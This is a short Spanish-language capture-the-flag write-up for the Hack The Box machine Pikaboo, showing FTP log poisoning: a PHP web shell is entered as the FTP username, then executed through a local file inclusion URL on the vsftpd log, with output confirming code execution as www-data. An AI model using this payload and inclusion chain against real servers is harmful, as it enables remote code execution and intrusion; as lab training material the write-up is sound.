FTP
FTP log poisoning
El archivo a infectar es el siguiente:
http://pikaboo.htb/admin../admin_staging/index.php?page=/var/log/vsftpd.log
Para ello debemos escribir en el ftp login
ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:eduardodesdes): <?php system($_GET['cmd']); ?>
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> ^C
ftp> exit
221 Goodbye.
Y luego podemos ejecutar el codigo php
http://pikaboo.htb/admin../admin_staging/index.php?page=/var/log/vsftpd.log&cmd=id
Con el output
// Some codeSat Nov 13 04:48:47 2021 [pid 27951] FTP command: Client "::ffff:10.10.16.38", "USER uid=33(www-data) gid=33(www-data) groups=33(www-data)"
...
Sat Nov 13 04:48:52 2021 [pid 27951] FTP command: Client "::ffff:10.10.16.38", "QUIT"
Sat Nov 13 04:48:52 2021 [pid 27951] FTP response: Client "::ffff:10.10.16.38", "221 Goodbye
Last updated